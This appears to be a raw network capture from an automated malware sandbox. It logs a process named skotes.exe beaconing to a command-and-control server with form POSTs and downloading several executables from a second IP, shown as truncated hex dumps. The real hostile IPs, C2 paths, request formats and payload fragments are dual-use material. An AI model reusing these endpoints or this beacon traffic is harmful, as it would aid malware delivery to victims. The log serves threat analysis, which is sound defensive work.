38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 32 35 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 [TRUNCATED] Data Ascii: 555 <c>1017253001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1017254001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1017255001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1017256001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709e5b03ac52ea484b411b9dc4e1#1017257001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1017258001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1017259001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1017260001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1017261001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1017262001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1017263001+++fc [TRUNCATED]
Dec 19, 2024 03:09:08.434608936 CET	124	IN	Data Raw: 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 37 32 36 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 Data Ascii: 8e6b1ca72dd534db057eb410a494d9d#1017264001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#10
Dec 19, 2024 03:09:08.673424959 CET	196	IN	Data Raw: 31 37 32 36 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 Data Ascii: 17265001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1017266001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49835	31.41.244.11	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:08.807195902 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 03:09:10.132791042 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:09 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 19, 2024 03:09:10.132874012 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 19, 2024 03:09:10.132889032 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 19, 2024 03:09:10.133111000 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 19, 2024 03:09:10.133321047 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 19, 2024 03:09:10.133337975 CET	672	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 19, 2024 03:09:10.133631945 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 19, 2024 03:09:10.133655071 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 19, 2024 03:09:10.133678913 CET	448	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 19, 2024 03:09:10.134547949 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 19, 2024 03:09:10.252437115 CET	1236	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49860	185.215.113.43	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:19.579125881 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 32 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017253001&unit=246122658369
Dec 19, 2024 03:09:20.916830063 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49862	31.41.244.11	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:21.091773033 CET	63	OUT	GET /files/geopoxid/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 03:09:22.416805983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:22 GMT Content-Type: application/octet-stream Content-Length: 1880576 Last-Modified: Wed, 18 Dec 2024 18:02:50 GMT Connection: keep-alive ETag: "67630e4a-1cb200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g0J@`Ji@T0h 1 H@.rsrc X@.idata 0Z@ *@\@xnuzvlhe0/.^@tzuttanx J@.taggant00J"@
Dec 19, 2024 03:09:22.416831970 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:22.416852951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:22.416985035 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:22.417027950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:22.417047024 CET	672	IN	Data Raw: bb b0 e8 25 48 d8 e8 54 62 24 db 18 18 8f 0a ea 11 a8 c4 3a a5 18 d2 54 13 51 6f f9 c6 0e 61 47 fe c3 52 f2 60 cb 07 c0 dd cf 89 a0 a5 34 fc f6 a5 6a 7e 10 f9 e6 c2 d0 25 5e 06 0d 64 47 a1 1c 82 52 9c 42 fd 96 87 7d 7d 1d f0 dc bb 90 07 ec 9c be Data Ascii: %HTb$:TQoaGR`4j~%^dGRB}}<J'4^RBLVI.@wxcO?@vFW]8m\;\|$6=SIQGp<#4aOp?Gz6&]+-On'fU
Dec 19, 2024 03:09:22.417064905 CET	1236	IN	Data Raw: 8c 15 68 d8 93 b4 35 a8 16 58 d6 23 5c fe 2f 10 20 50 20 3d fa c9 e1 58 f4 4c 5e 81 e7 32 1b 04 25 90 80 ef d9 28 2b fe 62 35 63 c8 e5 20 d4 dc 0f b4 c5 68 a4 54 2a fc 79 9c 4e 05 74 34 5a 3b 91 21 cb 70 75 18 5e f9 95 2f 01 cc a0 3c b6 0a 38 48 Data Ascii: h5X#\/ P =XL^2%(+b5c hT*yNt4Z;!pu^/<8HjQ!}XmjQgSMf_{-i}/{">l`Rd!.#Y3.,~m$Q'G<mV POlQ6xsp0R1: <7Q
Dec 19, 2024 03:09:22.417720079 CET	1236	IN	Data Raw: eb 08 de 74 37 5f 96 d0 ec c0 82 57 da 1c 4b 71 c1 9f 17 e3 28 1f 22 82 b6 99 4c 20 be 2d ae 3c 32 38 3b ba ef c5 35 24 76 69 ab 77 ec 85 2f 73 7f 33 0a bb 50 b0 5d d1 9b b5 23 dc d4 22 57 2b 60 74 4e 31 b4 9a fc 4d e0 51 77 c0 93 7f 5a 09 e5 35 Data Ascii: t7_WKq("L -<28;5$viw/s3P]#"W+`tN1MQwZ56x.kde!%pYTgb&])xrtHf9m}u-^U.tvW'CU\w@Xd=a@mY%9xd,I,eN8P{=
Dec 19, 2024 03:09:22.417753935 CET	448	IN	Data Raw: 22 4e a1 98 b5 79 e8 8a 16 0c 5c f4 51 cb 2e f3 25 34 b7 1a b1 65 68 8b a3 dc a3 d3 56 75 58 f5 7e b6 01 ca b7 55 f4 5b 4b 0f 07 b2 33 2a e5 5e 81 93 04 bf 47 2a ee dd 5a ee b9 1b fd b5 51 d0 7a bd 29 06 ba 73 09 e8 d2 7a 7d 4e 28 60 ae 55 54 b0 Data Ascii: "Ny\Q.%4ehVuX~U[K3^GZQz)sz}N(`UTZ6D8y+'H1Ov,bt/pL#, (p=]o,U`$<GT4sz8Xr4~2-hlT~OnjikWfR[\|<Q'U#=6FBZ*(HO
Dec 19, 2024 03:09:22.417789936 CET	1236	IN	Data Raw: 64 d2 a2 d5 c2 92 2b bb fd 27 b3 ec fd 7c 3e 1f 68 04 07 bc 6a cc e9 40 d4 9c 50 1c 5b d9 4c ec 49 56 05 11 60 d4 30 e8 7d 0c 2a 75 80 ec 82 cd 34 74 80 ad e3 9c 3d 52 81 5d a2 da c9 37 30 7b b4 2c 39 43 1d 29 96 e7 8f 58 93 d0 4d 55 ba 96 aa e4 Data Ascii: d+'\|>hj@P[LIV`0}u4t=R]70{,9C)XMUn]c3.b<5k$\7ma(\|_F/eE)/^M^QLn5I'?"{rkzZ+;2_s`^WCNyRR#[\L u-#zpaqT'#16
Dec 19, 2024 03:09:22.537256002 CET	1236	IN	Data Raw: 63 da 4e 31 e8 d8 97 1d fb 4e 22 3d e1 53 6c a4 d6 df 48 bf 1a 80 20 a5 78 dc 48 f1 31 3a 12 84 41 76 a4 03 30 f0 6a b1 bc 6c b5 04 69 66 c2 55 dc 68 b0 0e 62 bf 91 30 01 fc c7 d8 9c 37 71 f1 3f 0c d5 4a 0b 68 d8 d2 2b 72 ef 6f 29 19 63 82 8f 16 Data Ascii: cN1N"=SlH xH1:Av0jlifUhb07q?Jh+ro)c2dSqhVY1YU.d/]ki5oVT``J-[F;lsNM[Hqo\U:Ui\|l'$y%2SO[?wcI59:QlJO9%5q;^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49880	185.215.113.43	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:27.920363903 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017254001&unit=246122658369
Dec 19, 2024 03:09:29.226906061 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49885	31.41.244.11	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:29.348826885 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 03:09:30.678632021 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:30 GMT Content-Type: application/octet-stream Content-Length: 4462080 Last-Modified: Thu, 19 Dec 2024 01:42:44 GMT Connection: keep-alive ETag: "67637a14-441600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 20 be 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 be 00 00 04 00 00 4c 5a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc fe bd 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac fe bd 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELbg(DI$l2 `I@PLZD@ _isi piH(@.rsrciX(@.idata iZ(@ 8i\(@nlrrxusxp^(@kobwowvrC@.taggant0 "C@
Dec 19, 2024 03:09:30.678740978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:30.678766012 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:30.678968906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:30.679195881 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: yQQ2lk6]AAu
Dec 19, 2024 03:09:30.679209948 CET	448	IN	Data Raw: a8 c5 da 08 da e0 1b bb 64 8b c5 21 c4 9d a8 b1 20 55 ca c5 b1 9f 40 04 85 f3 e8 d8 e9 b8 ec 32 8e b3 47 88 89 8c 79 f1 32 d5 16 74 53 3a 73 4a 1c 50 77 e0 10 87 ab 47 6c 38 2c 79 fe d4 e0 f6 c1 33 ac b6 93 b5 54 db 0e 44 de de b4 e5 f9 d1 4f eb Data Ascii: d! U@2Gy2tS:sJPwGl8,y3TDOm =YqG3F\|OqAo-PQXwP>9s0kpKaf\4JaKKcJeol{\|&(lnAAlBQ!\Jd
Dec 19, 2024 03:09:30.679519892 CET	1236	IN	Data Raw: ad 95 e7 38 2f a5 a0 c4 10 c2 99 60 8d f2 eb 53 c3 13 b7 20 df 32 34 2b e8 6f 88 2b bf ef ed 54 65 db 18 3c d3 cd 5c bd 05 8a ac e6 ee 27 59 4d fb 4f f8 4d 56 df f8 90 9c 7f 73 9b 4c e3 cc f4 fd b8 e4 2a ec d1 e5 a8 df 13 ee 64 e9 0f 6d ed 38 6a Data Ascii: 8/`S 24+o+Te<\'YMOMVsL*dm8jz XX_Dqs- P1cz6CS^j`Lxl5<jkX1KJ22@\LkEs!9,Hyx,[BQFx,&o
Dec 19, 2024 03:09:30.679536104 CET	1236	IN	Data Raw: 65 ef 5d f1 24 f5 d4 d6 d1 ee 0b 8b d2 2b b2 ef 1f 83 dd 37 92 c7 9f ca 95 b3 03 20 af 59 0c f5 64 1f d9 a4 be 46 f5 b0 68 bf c3 4d c4 fb 05 18 43 5b 3a b5 c2 53 18 34 59 d3 62 b0 52 85 cb f3 e3 f1 f2 f5 68 c4 b4 87 55 d2 85 dc 1d 3e 55 9f 0e de Data Ascii: e]$+7 YdFhMC[:S4YbRhU>UaCE<'`p,6~x%rX!eMu\|_%G182L\2_;Rh\|<<M]At"6+#]`?1!A'/H>]Z
Dec 19, 2024 03:09:30.679552078 CET	1236	IN	Data Raw: 9d 5e 17 0a a1 8f a9 13 83 46 ee cd 1b 1b 55 38 dd 9c 7a e0 b8 f8 5f 24 0f c7 7b 20 a0 c7 54 77 06 91 aa ce b5 22 8e aa 2e 14 8b 75 bc c4 a0 dc b1 f0 7e 4c cf b2 53 2f 21 3f 98 24 92 b5 b1 28 70 aa ed 35 f2 c3 e9 83 ae d2 d5 17 a3 40 69 3b f5 01 Data Ascii: ^FU8z_${ Tw".u~LS/!?$(p5@i;~D@@Wz/G}uaB,JU+H=xAtYUsdiM{~ *`Me&pT7)>5vmezV~Low?Vf!)QSAsL
Dec 19, 2024 03:09:30.679569960 CET	1236	IN	Data Raw: 46 5f 6c 55 af 4f f9 ca ca 09 10 ef 2a d6 de 05 a0 3b 61 dc af f3 a3 23 20 8d f2 3d 9d 87 94 e3 18 bf 5f c9 41 ff 5d b5 bf 4f 1e 4c cb 17 ad 7c 67 86 1f 43 96 7a 1d 40 3e a4 fa eb 66 e5 d5 25 1f 4b ce 5b 5d 89 fd d5 fb c8 e8 5c 88 bf a9 3e 1d e5 Data Ascii: F_lUO;a# =_A]OL\|gCz@>f%K[]\>]mVbVcy1\|iR\3qNZ=-6DLrIn$xCvVTsPP`!a8w!%%n![l;`<jy#QTkMWU
